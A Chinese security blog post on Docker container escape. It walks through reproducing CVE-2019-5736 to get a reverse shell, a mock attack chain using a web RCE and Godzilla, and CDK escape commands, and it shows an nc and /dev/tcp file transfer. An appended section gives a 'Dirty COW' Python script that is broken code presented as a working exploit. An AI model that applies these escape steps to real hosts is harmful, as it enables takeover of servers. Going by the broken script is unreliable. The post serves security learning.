【云安全】云原生-Docker(五)容器逃逸之漏洞利用

漏洞利用逃逸

通过漏洞利用实现逃逸,主要分为以下两种方式:

1、操作系统层面的内核漏洞

这是利用宿主机操作系统内核中的安全漏洞,直接突破容器的隔离机制,获得宿主机的权限。

攻击原理:容器本质上是通过 Linux 的 cgroups 和 namespace 提供隔离,而这些功能依赖于内核。因此,内核漏洞可能被用来突破隔离,攻击者可以直接访问宿主机。

常用漏洞:

  • Dirty COW (CVE-2016-5195):Linux 内核的写时复制 (Copy-On-Write) 漏洞,攻击者可以通过漏洞实现提权,影响宿主机。
  • OverlayFS 漏洞 (如 CVE-2021-3493):OverlayFS 文件系统中的权限校验漏洞,允许容器突破文件系统限制访问宿主机。
  • 权限提升漏洞 (如 CVE-2022-0847):又名“Dirty Pipe”,允许攻击者通过文件写入操作实现提权。
  • 其它:CVE-2019-16884、CVE-2021-22555、CVE-2022-0492、CVE-2022-23222等

系统内核漏洞并非 Docker 容器逃逸的“专属”利用方式,而是通用的一种权限提升技术。在 Web 安全或本地提权攻击场景中,内核漏洞同样可以被用来获取更高的系统权限。本章节属于云安全Docker内容,因此,内核漏洞的利用本文不做具体讨论。

2、Docker自身版本漏洞

Docker 本身作为容器管理工具,可能存在漏洞或实现上的不足,攻击者可以通过漏洞逃逸出容器环境,直接控制宿主机。

常用漏洞:

CVE-2019-5736

攻击者通过覆盖容器内的 runc 二进制文件,可以执行任意代码并控制宿主机。

利用条件

(1)版本:Docker version <= 18.09.2,RunC version <= 1.0-rc6 

(2)需要管理员再次进入容器触发

漏洞复现

a.首先卸载原有docker

sudo apt-get purge -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-ce-rootless-extras
sudo rm -rf /var/lib/docker
sudo rm -rf /var/lib/containerd
sudo rm /etc/apt/sources.list.d/docker.list
sudo rm /etc/apt/keyrings/docker.asc

b.安装漏洞对应版本

apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

c.编译exp ,项目地址

https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go

下载EXP后修改

使用如下命令进行编译EXP

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

d.准备另一台主机进行监听,上传EXP到容器,执行

e. 模拟管理员进入容器,触发EXP执行,成功反弹shell,复现完毕

模拟实战

受害者搭建网站

攻击者发现存在 Spring Cloud Gateway 命令执行漏洞

发现是容器root权限

植入内存马,使用哥斯拉连接

使用哥斯拉的远程下载功能,下载EXP,并赋予执行权限

监听、执行→管理员进入容器→成功逃逸

CVE-2020-15257

该漏洞出现在 containerd 的 CRI plugin(容器运行时接口插件)中。攻击者可以通过创建特定配置的容器,将 cgroups(控制组)的 pids.max 参数设置为无效值。当 containerd 尝试写入这个值时,会导致内核返回错误。这可能使 containerd 的内部机制中断,从而允许攻击者进一步利用该错误实现权限提升。

利用条件

(1)版本:containerd < 1.4.3,containerd < 1.3.9(不含1.3.9 和 1.4.3

(2)容器权限为root,且以 --net=host 模式启动

模拟复现

a. 受害者安装的containerd版本为漏洞版本

apt-get update
apt-get install ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

b.受害者基于以上环境搭建的网站,存在struts2漏洞

c. 攻击者发现漏洞。执行命令,发现是容器环境,权限为容器root

d.攻击者反弹shell后,在受害者容器内下载CDK项目

e.后续利用,搜寻教程和资料说是可以借助自动化项目CDK进行容器逃逸。但是,不知道哪里出了问题,该漏洞我未能复现成功,猜测是各大云厂商做了安全优化,一路上各种报错,如果哪位大佬知道其中的缘由,还望告知!

自动化项目:CDK

项目链接:
GitHub - cdk-team/CDK: 📦 Make security testing of K8s, Docker, and Containerd easier.

CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。 

下载/植入
  • 在目标容器内直接wget或者curl
  • 通过公网主机nc重定向
A主机:nc -lvp 999 < cdk
B主机:cat < /dev/tcp/A主机IP/999 > cdk

 

功能模块
  • Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。
  • Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
  • Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。
使用测试

以特权模式启动一个容器

在容器中下载CDK

信息收集

./cdk eva

发现特权模式

特权模式利用

 ./cdk run mount-disk

使用自动逃逸也是没问题的

 ./cdk  auto-escape id

Ps:该项目还是很强大的,经测试,特权模式、危险挂载均可以检查并利用,师傅们可自行测试

结尾

至此,Docker安全问题分析结束,下一篇开始,讨论容器编排工具k8s的安全问题

### 容器逃逸漏洞复现方法 容器逃逸漏洞是指攻击者能够利用某些漏洞容器内部突破到宿主机,从而获得对宿主机的操作权限。以下是关于如何复现此类漏洞的一些关键点: #### 一、漏洞概述 Dirty COW(CVE-2016-5195)是一个典型的写时复制(Copy-On-Write, COW)机制漏洞,它允许低权限用户通过竞争条件修改只读内存映射页面的内容[^1]。此漏洞不仅适用于传统操作系统上的提权场景,在容器环境中也可能被用来实现容器逃逸。 #### 二、环境准备 为了成功复现该类漏洞,通常需要搭建特定的实验环境: - **目标系统**:选择受支持的 Linux 发行版及其对应的内核版本。例如,对于 Dirty COW 漏洞,受影响的是 Linux Kernel 版本范围内的系统[^4]。 - **Docker 或其他容器运行时工具**:安装并配置好 Docker 或 containerd 等容器管理软件,并确保其版本处于已知易受攻击的状态下[^5]。 #### 三、PoC 分析 针对 Dirty COW 的 POC 主要涉及以下几个方面: - 创建一个多线程程序来触发 race condition; - 使用 `mmap()` 函数将目标文件映射至内存空间; - 不断尝试对该区域进行非法写入直到成功为止[^2]。 下面给出一段简单的 Python 实现作为演示用途,请注意这仅用于学习研究目的不得滥用! ```python import os import threading from ctypes import * PAGE_SIZE = 4096 def dirty_cow(target_file_path): fd = os.open(target_file_path, os.O_RDONLY) addr = mmap.mmap(-1, PAGE_SIZE) def writer(): while True: try: libc.memcpy(addr, b"A", 1) except Exception as e: pass t = threading.Thread(target=writer) t.start() time.sleep(1) # Wait for the thread to start writing. with open("/proc/self/mem", "r+b") as f: offset = addr - libc.valloc(addr) f.seek(offset) data = f.read(PAGE_SIZE) if b"\x41" in data[:len(data)]: print("[+] Exploit successful!") t.join() if __name__ == "__main__": target_file = "/etc/passwd" dirty_cow(target_file) ``` 上述脚本模拟了一个基本的 Dirty COW 攻击过程,其中包含了必要的错误处理逻辑以及多线程并发操作部分。 #### 四、修复措施 为了避免遭受类似的容器逃逸威胁,可以采取如下策略之一或组合使用多种防御手段: - 更新至最新稳定版本的内核及容器引擎组件以修补已公开的安全缺陷[^3]; - 配置最小化权限原则下的容器启动参数,比如移除不必要的 capability 如 --cap-drop=all 和禁用 privileged mode 运行模式等; - 应用 SELinux/AppArmor 强制访问控制框架进一步增强隔离效果; --- ###
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